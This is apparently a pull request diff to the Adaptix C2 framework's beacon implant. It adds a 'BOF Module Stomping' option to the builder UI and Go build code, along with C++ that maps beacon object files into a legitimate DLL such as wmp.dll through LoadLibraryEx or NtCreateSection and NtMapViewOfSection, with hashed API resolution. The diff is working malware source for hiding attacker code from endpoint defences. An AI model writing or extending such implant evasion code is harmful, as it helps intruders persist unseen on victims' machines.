Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
31 changes: 28 additions & 3 deletions AdaptixServer/extenders/beacon_agent/ax_config.axs
Original file line number Diff line number Diff line change
Expand Up @@ -345,6 +345,27 @@ function GenerateUI(listeners_type)
// checkIatHiding.setVisible(false);
// }

let labelBofStompDll = form.create_label("Stomp DLL:");
let textBofStompDll = form.create_textline("wmp.dll");
textBofStompDll.setPlaceholder("e.g. wmp.dll, xpsservices.dll");

let labelBofStompMethod = form.create_label("Method:");
let comboBofStompMethod = form.create_combo();
comboBofStompMethod.addItems(["LoadLibraryEx", "NtCreateSection + NtMapViewOfSection"]);
comboBofStompMethod.setCurrentIndex(0);

let layout_group_bof_stomp = form.create_gridlayout();
layout_group_bof_stomp.addWidget(labelBofStompDll, 0, 0, 1, 1);
layout_group_bof_stomp.addWidget(textBofStompDll, 0, 1, 1, 1);
layout_group_bof_stomp.addWidget(labelBofStompMethod, 1, 0, 1, 1);
layout_group_bof_stomp.addWidget(comboBofStompMethod, 1, 1, 1, 1);

let panel_group_bof_stomp = form.create_panel();
panel_group_bof_stomp.setLayout(layout_group_bof_stomp);
let group_bof_stomp = form.create_groupbox("BOF Module Stomping (uncheck to use VirtualAlloc fallback)", true);
group_bof_stomp.setPanel(panel_group_bof_stomp);
group_bof_stomp.setChecked(true);

//////////////////// DNS Settings

let labelDnsMode = form.create_label("DNS Mode:");
Expand Down Expand Up @@ -484,9 +505,10 @@ function GenerateUI(listeners_type)
layout.addWidget(labelRotation, 8, 0, 1, 1);
layout.addWidget(comboRotation, 8, 1, 1, 2);
layout.addWidget(checkIatHiding, 9, 0, 1, 3);
layout.addWidget(group_proxy, 10, 0, 1, 3);
layout.addWidget(group_dns, 12, 0, 1, 3);
layout.addWidget(spacer2, 12, 0, 1, 3);
layout.addWidget(group_bof_stomp, 10, 0, 1, 3);
layout.addWidget(group_proxy, 11, 0, 1, 3);
layout.addWidget(group_dns, 13, 0, 1, 3);
layout.addWidget(spacer2, 13, 0, 1, 3);

form.connect(comboAgentFormat, "currentTextChanged", function(text) {
if(text == "Service Exe") {
Expand Down Expand Up @@ -524,6 +546,9 @@ function GenerateUI(listeners_type)
container.put("is_sideloading", checkSideloading)
container.put("sideloading_content", sideloadingSelector)
container.put("iat_hiding", checkIatHiding)
container.put("use_bof_stomp", group_bof_stomp)
container.put("bof_stomp_dll", textBofStompDll)
container.put("bof_stomp_method", comboBofStompMethod)
container.put("use_proxy", group_proxy)
container.put("proxy_type", comboProxyType)
container.put("proxy_host", textProxyServer)
Expand Down
27 changes: 24 additions & 3 deletions AdaptixServer/extenders/beacon_agent/pl_main.go
Original file line number Diff line number Diff line change
Expand Up @@ -277,6 +277,9 @@ type GenerateConfig struct {
StartTime string `json:"start_time"`
EndTime string `json:"end_time"`
IatHiding bool `json:"iat_hiding"`
UseBofStomp bool `json:"use_bof_stomp"`
BofStompDll string `json:"bof_stomp_dll"`
BofStompMethod string `json:"bof_stomp_method"`
IsSideloading bool `json:"is_sideloading"`
SideloadingContent string `json:"sideloading_content"`
DnsResolvers string `json:"dns_resolvers"`
Expand All @@ -297,7 +300,7 @@ var (
ObjectDir_smb = "objects_smb"
ObjectDir_tcp = "objects_tcp"
ObjectDir_dns = "objects_dns"
ObjectFiles = [...]string{"Agent", "AgentConfig", "AgentInfo", "ApiLoader", "beacon_functions", "bof_loader", "Boffer", "Commander", "crt", "Crypt", "Downloader", "Encoders", "JobsController", "MainAgent", "MemorySaver", "Packer", "Pivotter", "ProcLoader", "Proxyfire", "std", "utils", "WaitMask"}
ObjectFiles = [...]string{"Agent", "AgentConfig", "AgentInfo", "ApiLoader", "beacon_functions", "bof_loader", "bof_stomp", "Boffer", "Commander", "crt", "Crypt", "Downloader", "Encoders", "JobsController", "MainAgent", "MemorySaver", "Packer", "Pivotter", "ProcLoader", "Proxyfire", "std", "utils", "WaitMask"}
CFlags = "-c -fno-builtin -fno-unwind-tables -fno-strict-aliasing -fno-ident -fno-stack-protector -fno-exceptions -fno-asynchronous-unwind-tables -fno-strict-overflow -fno-delete-null-pointer-checks -fpermissive -w -masm=intel -fPIC"
LFlags = "-Os -s -Wl,-s,--gc-sections -static-libgcc -static-libstdc++ -mwindows"
)
Expand Down Expand Up @@ -571,6 +574,16 @@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [
lFlags += " -nostdlib -nostartfiles -nodefaultlibs"
}

// BOF Module Stomping: only enabled when the user checks the groupbox
bofStompDll := ""
if generateConfig.UseBofStomp {
cFlags += " -DUSE_BOF_STOMP"
bofStompDll = generateConfig.BofStompDll
if bofStompDll == "" {
bofStompDll = "wmp.dll"
}
}

currentDir := ModuleDir
tempDir, err := os.MkdirTemp("", "ax-*")
if err != nil {
Expand Down Expand Up @@ -613,10 +626,18 @@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [
}

agentProfileSize := len(agentProfile) / 4
bofStompDefine := ""
if generateConfig.UseBofStomp {
bofStompMethod := 0
if generateConfig.BofStompMethod == "NtCreateSection + NtMapViewOfSection" {
bofStompMethod = 1
}
bofStompDefine = fmt.Sprintf(" -DBOF_STOMP_DLL_NAME='\"%s\"' -DBOF_STOMP_METHOD=%d", bofStompDll, bofStompMethod)
}
if generateConfig.Format == "Service Exe" {
cmdConfig = fmt.Sprintf("%s %s %s/config.cpp -DBUILD_SVC -DSERVICE_NAME='\"%s\"' -DPROFILE='\"%s\"' -DPROFILE_SIZE=%d -o %s/config.o", Compiler, cFlags, ObjectDir, svcName, string(agentProfile), agentProfileSize, tempDir)
cmdConfig = fmt.Sprintf("%s %s %s/config.cpp -DBUILD_SVC -DSERVICE_NAME='\"%s\"' -DPROFILE='\"%s\"' -DPROFILE_SIZE=%d%s -o %s/config.o", Compiler, cFlags, ObjectDir, svcName, string(agentProfile), agentProfileSize, bofStompDefine, tempDir)
} else {
cmdConfig = fmt.Sprintf("%s %s %s/config.cpp -DPROFILE='\"%s\"' -DPROFILE_SIZE=%d -o %s/config.o", Compiler, cFlags, ObjectDir, string(agentProfile), agentProfileSize, tempDir)
cmdConfig = fmt.Sprintf("%s %s %s/config.cpp -DPROFILE='\"%s\"' -DPROFILE_SIZE=%d%s -o %s/config.o", Compiler, cFlags, ObjectDir, string(agentProfile), agentProfileSize, bofStompDefine, tempDir)
}
_ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Compiling configuration...")

Expand Down
6 changes: 3 additions & 3 deletions AdaptixServer/extenders/beacon_agent/src_beacon/Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -29,9 +29,9 @@ SECURITY_FLAGS := -fno-stack-protector \
-fno-strict-aliasing \
-fno-builtin

OPTIMIZATION_FLAGS := -fno-exceptions \
-fno-unwind-tables \
-fno-asynchronous-unwind-tables
OPTIMIZATION_FLAGS := -fno-exceptions \
-fasynchronous-unwind-tables \
-mabi=ms

COMMON_FLAGS := -I $(BEACON_DIR) \
-fpermissive \
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -25,6 +25,10 @@
#define HASH_FUNC_RTLRANDOMEX 0x5b052214
#define HASH_FUNC_RTLNTSTATUSTODOSERROR 0x7701adaf
#define HASH_FUNC_NTFLUSHINSTRUCTIONCACHE 0x91a1659e
#define HASH_FUNC_NTCREATESECTION 0x217c086f
#define HASH_FUNC_NTMAPVIEWOFSECTION 0x25b394e9
#define HASH_FUNC_NTUNMAPVIEWOFSECTION 0xc995d3ec
#define HASH_FUNC_NTOPENFILE 0x83d5c058

//kernel32
#define HASH_FUNC_CONNECTNAMEDPIPE 0xda6c7d81
Expand Down Expand Up @@ -98,8 +102,13 @@
#define HASH_FUNC_WAITNAMEDPIPEA 0x8a2ba58d
#define HASH_FUNC_WIDECHARTOMULTIBYTE 0x12d4f52d
#define HASH_FUNC_WRITEFILE 0xd4a33cef
#define HASH_FUNC_WAITFORSINGLEOBJECTEX 0x8e5800b6
#define HASH_FUNC_GETOVERLAPPEDRESULT 0xcb755695
#define HASH_FUNC_CANCELIO 0xdc3c6d02
#define HASH_FUNC_RTLADDFUNCTIONTABLE 0xbad6a4ed
#define HASH_FUNC_RTLDELETEFUNCTIONTABLE 0x6ff11737
#define HASH_FUNC_VIRTUALPROTECT 0x21d6b92c
#define HASH_FUNC_LOADLIBRARYEXA 0xcf121857

// iphlpapi
#define HASH_FUNC_GETADAPTERSINFO 0xa1376764
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -143,6 +143,9 @@ BOOL ApiLoad()
ApiWin->WideCharToMultiByte = (decltype(WideCharToMultiByte)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_WIDECHARTOMULTIBYTE);
ApiWin->WriteFile = (decltype(WriteFile)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_WRITEFILE);

ApiWin->VirtualProtect = (decltype(VirtualProtect)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_VIRTUALPROTECT);
ApiWin->LoadLibraryExA = (decltype(LoadLibraryExA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_LOADLIBRARYEXA);

// iphlpapi
CHAR iphlpapi_c[13];
iphlpapi_c[0] = HdChrA('I');
Expand Down Expand Up @@ -282,6 +285,16 @@ BOOL ApiLoad()
ApiNt->RtlIpv4StringToAddressA = (decltype(RtlIpv4StringToAddressA)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_RTLIPV4STRINGTOADDRESSA);
ApiNt->RtlRandomEx = (decltype(RtlRandomEx)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_RTLRANDOMEX);
ApiNt->RtlNtStatusToDosError = (decltype(RtlNtStatusToDosError)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_RTLNTSTATUSTODOSERROR);
#ifdef _WIN64
ApiNt->RtlAddFunctionTable = (decltype(RtlAddFunctionTable)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_RTLADDFUNCTIONTABLE);
ApiNt->RtlDeleteFunctionTable = (decltype(RtlDeleteFunctionTable)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_RTLDELETEFUNCTIONTABLE);
#endif
#if defined(BOF_STOMP_METHOD) && BOF_STOMP_METHOD == 1
ApiNt->NtCreateSection = (decltype(NtCreateSection)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTCREATESECTION);
ApiNt->NtMapViewOfSection = (decltype(NtMapViewOfSection)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTMAPVIEWOFSECTION);
ApiNt->NtUnmapViewOfSection = (decltype(NtUnmapViewOfSection)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTUNMAPVIEWOFSECTION);
ApiNt->NtOpenFile = (decltype(NtOpenFile)*) GetSymbolAddress(hNtdllModule, HASH_FUNC_NTOPENFILE);
#endif /* BOF_STOMP_METHOD == 1 */
}
else {
return FALSE;
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,6 @@
typedef int (*printf_t)(const char* format, ...);
typedef int (*vsnprintf_t)(char* str, size_t size, const char* format, va_list args);
typedef int (*snprintf_t)(char*, size_t, const char*, ...);

extern void* __cdecl memset(void*, int, size_t);
extern void* __cdecl memcpy(void*, const void*, size_t);

Expand Down Expand Up @@ -101,6 +100,9 @@ struct WINAPIFUNC
DECL_API(GetOverlappedResult);
DECL_API(CancelIo);

DECL_API(VirtualProtect);
DECL_API(LoadLibraryExA);

// iphlpapi
DECL_API(GetAdaptersInfo);

Expand Down Expand Up @@ -163,6 +165,15 @@ struct NTAPIFUNC
DECL_API(RtlIpv4StringToAddressA);
DECL_API(RtlRandomEx);
DECL_API(RtlNtStatusToDosError);
DECL_API(NtCreateSection);
DECL_API(NtMapViewOfSection);
DECL_API(NtUnmapViewOfSection);
DECL_API(NtOpenFile);

#ifdef _WIN64
DECL_API(RtlAddFunctionTable);
DECL_API(RtlDeleteFunctionTable);
#endif
};

extern SYSMODULES* SysModules;
Expand Down
68 changes: 34 additions & 34 deletions AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Boffer.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -39,6 +39,11 @@ BOOL Boffer::Initialize()
return FALSE;

ApiWin->InitializeCriticalSection(&this->managerLock);

if (isBofStompEnabled()) {
if (!InitBofStomp(getBofStompDll(), getBofStompMethod())) {
}
}
return TRUE;
}

Expand Down Expand Up @@ -102,74 +107,72 @@ AsyncBofContext* Boffer::CreateAsyncBof(ULONG taskId, CHAR* entryName, BYTE* cof
DWORD WINAPI AsyncBofThreadProc(LPVOID lpParameter)
{
AsyncBofContext* ctx = (AsyncBofContext*)lpParameter;
if (!ctx)
return 1;

if (!ctx) return 1;

tls_CurrentBofContext = ctx;

if (g_StoredToken)
ApiWin->ImpersonateLoggedOnUser(g_StoredToken);

ctx->state = ASYNC_BOF_STATE_RUNNING;
COF_HEADER* pHeader = (COF_HEADER*)ctx->coffFile;

COF_HEADER* pHeader = (COF_HEADER*)ctx->coffFile;
COF_SYMBOL* pSymbolTable = (COF_SYMBOL*)(ctx->coffFile + pHeader->PointerToSymbolTable);

BOOL result = AllocateSections(ctx->coffFile, pHeader, ctx->mapSections);

/* AllocateSections now returns mapFunctions alongside sections */
BOOL result = AllocateSections(ctx->coffFile, pHeader, ctx->mapSections, &ctx->mapFunctions);
if (!result) {
ctx->state = ASYNC_BOF_STATE_FINISHED;
tls_CurrentBofContext = NULL;
return 1;
}

ctx->mapFunctions = (LPVOID*)ApiWin->VirtualAlloc(NULL, MAP_FUNCTIONS_SIZE, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);

if (!ctx->mapFunctions) {
CleanupSections(ctx->mapSections, MAX_SECTIONS);
CleanupSections(ctx->mapSections, MAX_SECTIONS, NULL);
ctx->state = ASYNC_BOF_STATE_FINISHED;
tls_CurrentBofContext = NULL;
return 1;
}

result = ProcessRelocations(ctx->coffFile, pHeader, ctx->mapSections, pSymbolTable, ctx->mapFunctions);

result = ProcessRelocations(ctx->coffFile, pHeader, ctx->mapSections,
pSymbolTable, (LPVOID*)ctx->mapFunctions);
if (!result) {
ApiWin->VirtualFree(ctx->mapFunctions, 0, MEM_RELEASE);
CleanupSections(ctx->mapSections, MAX_SECTIONS, ctx->mapFunctions);
ctx->mapFunctions = NULL;
CleanupSections(ctx->mapSections, MAX_SECTIONS);
ctx->state = ASYNC_BOF_STATE_FINISHED;
tls_CurrentBofContext = NULL;
return 1;
}

ApiWin->EnterCriticalSection(&ctx->outputLock);
ctx->outputBuffer->Pack32(ctx->taskId);
ctx->outputBuffer->Pack32(50); // COMMAND_EXEC_BOF
ctx->outputBuffer->Pack8(TRUE);
ApiWin->LeaveCriticalSection(&ctx->outputLock);

CHAR* entryFuncName = PrepareEntryName(ctx->entryName);
if (entryFuncName) {
ExecuteProc(entryFuncName, ctx->args, ctx->argsSize, pSymbolTable, pHeader, ctx->mapSections);
if (entryFuncName) {
ExecuteProc(entryFuncName, ctx->args, ctx->argsSize,
pSymbolTable, pHeader, ctx->mapSections);
FreeFunctionName(entryFuncName);
}

if (ctx->mapFunctions) {
ApiWin->VirtualFree(ctx->mapFunctions, 0, MEM_RELEASE);
ctx->mapFunctions = NULL;
}
CleanupSections(ctx->mapSections, MAX_SECTIONS);

ApiWin->EnterCriticalSection(&ctx->outputLock);
/* Cleanup — restores winmm .text and releases lock if stomping was used */
CleanupSections(ctx->mapSections, MAX_SECTIONS, ctx->mapFunctions);
ctx->mapFunctions = NULL;

ApiWin->EnterCriticalSection(&ctx->outputLock);
ctx->outputBuffer->Pack32(ctx->taskId);
ctx->outputBuffer->Pack32(50); // COMMAND_EXEC_BOF
ctx->outputBuffer->Pack8(FALSE);
ApiWin->LeaveCriticalSection(&ctx->outputLock);

ctx->state = ASYNC_BOF_STATE_FINISHED;
tls_CurrentBofContext = NULL;

if (g_AsyncBofManager)
g_AsyncBofManager->SignalWakeup();

return 0;
}

Expand Down Expand Up @@ -309,12 +312,9 @@ void Boffer::CleanupBofContext(AsyncBofContext* ctx)
ApiNt->NtClose(ctx->hStopEvent);
ctx->hStopEvent = NULL;
}

if (ctx->mapFunctions) {
ApiWin->VirtualFree(ctx->mapFunctions, 0, MEM_RELEASE);
ctx->mapFunctions = NULL;
}
CleanupSections(ctx->mapSections, MAX_SECTIONS);

CleanupSections(ctx->mapSections, MAX_SECTIONS, ctx->mapFunctions);
ctx->mapFunctions = NULL;

if (ctx->coffFile)
MemFreeLocal((LPVOID*)&ctx->coffFile, ctx->coffFileSize);
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,8 @@
#include "std.cpp"
#include "Packer.h"
#include "ApiLoader.h"
#include "bof_loader.h"
#include "config.h"

#define ASYNC_BOF_STATE_PENDING 0x0
#define ASYNC_BOF_STATE_RUNNING 0x1
Expand All @@ -28,13 +30,11 @@ struct AsyncBofContext {
Packer* outputBuffer;

PCHAR mapSections[25];
LPVOID* mapFunctions;
LPVOID mapFunctions;
};

extern __declspec(thread) AsyncBofContext* tls_CurrentBofContext;



class Boffer
{
public:
Expand All @@ -51,11 +51,9 @@ class Boffer
AsyncBofContext* CreateAsyncBof(ULONG taskId, CHAR* entryName, BYTE* coffFile, ULONG coffFileSize, BYTE* args, ULONG argsSize);

BOOL StartAsyncBof(AsyncBofContext* ctx);

BOOL StopAsyncBof(ULONG taskId);

void ProcessAsyncBofs(Packer* outPacker);

void CleanupFinishedBofs();

AsyncBofContext* FindBofByThreadId(DWORD threadId);
Expand All @@ -72,4 +70,3 @@ class Boffer
};

extern Boffer* g_AsyncBofManager;

Loading